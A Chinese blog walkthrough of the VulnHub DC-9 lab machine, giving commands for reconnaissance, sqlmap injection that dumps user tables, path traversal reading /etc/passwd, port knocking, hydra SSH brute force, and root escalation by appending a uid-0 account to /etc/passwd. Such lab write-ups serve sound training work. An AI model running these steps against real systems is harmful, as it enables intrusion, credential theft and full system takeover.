vulnhub靶机:dc-9
一:信息收集
1:主机发现
arp-scan -I eth0 10.9.23.0/24
靶机IP
10.9.23.189
2:端口扫描
nmap -A -p- -T4 10.9.23.189
3:端口探测
二:渗透测试
1:漏洞利用
发现有搜索框,用bp抓包测试与数据库有无交互
将抓包内容保存跑sqlmap
sqlmap -r "1.txt" --batch
发现可以注入,然后爆出数据库名:
sqlmap -r "1.txt" -dbs --batch
发现users数据库,查看此库中的表,也可以直接用链接
sqlmap -u "http://192.168.11.134/results.php" --data "search=1" -D Staff --tables
sqlmap -r "1.txt" -D Staff --tables --batch
查看Users表的列:
sqlmap -u "http://192.168.11.134/results.php" --data "search=1" -D Staff -T Users --columns
sqlmap -r "1.txt" -D Staff -T Users --columns --batch
查看表内的数据:
sqlmap -u "http://192.168.11.134/results.php" --data "search=1" -D Staff -T Users -C Username,Password --dump
sqlmap -r "1.txt" -D Staff -T Users -C Username,Password --dump --batch
admin
856f5de590ef37314e7c3bdf6f8a66dc
transorbital1
用密码登录系统:
2:目录遍历
目录文件不存在,也就是可以访问目录文件,做一下文件包含的目录爆破:
http://10.9.23.189/manage.php?file=../../../../../../../etc/passwd
发现存在文件包含漏洞,查看可以利用的信息:
http://10.9.23.189/manage.php?file=../../../../../../../etc/knockd.conf
3.端口敲门服务
发现了/etc/knockd.conf文件,发现是是端口敲门服务,端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
这里可以用nc或nmap去挨个敲门:
nc 10.9.23.189 7469
nc 10.9.23.189 8475
nc 10.9.23.189 9842
nc 10.9.23.189 22
或者
nmap -p 7469 10.9.23.189
nmap -p 8475 10.9.23.189
nmap -p 9842 10.9.23.189
nmap -p 22 10.9.23.189
现在可以访问22端口,回顾一下发现users数据库中还有一个UserDetails表:
sqlmap -u "http://10.9.23.189/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump
使用其中的用户名密码进行ssh爆破:
hydra -L user.txt -P pass1.txt 10.9.23.189 ssh
登录后发现janitor用户下有一个密码文件:
Ilovepeepee
ssh janitor@10.9.23.189
将密码收录到之前爆破的密码本中,再次爆破:
hydra -L user.txt -P pass1.txt 10.9.23.189 ssh
发现一个新扫出来的用户,登录进去。
login: fredf
password: B4-Tru3-001
ssh fredf@10.9.23.189
三:提权
发现 sudo -l
可用,找到一个test文件:
/opt/devstuff/dist/test
发现是python相关的文件,查找文件位置:
find / -name "test.py" 2>/dev/null
运行脚本时,第一个参数为要读取内容,第二个参数将读取的内容写到指定文件
ok,思路如下,我们知道,linux指定用户是否为root,我们可以通过修改/etc/passwd/文件来实现
所以,我们构造一个root权限的用户文件,写入到/etc/passwd文件
openssl passwd -1 -salt test 123456
echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0::/root:/bin/bash' >> /tmp/test
sudo ./test /tmp/test /etc/passwd
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~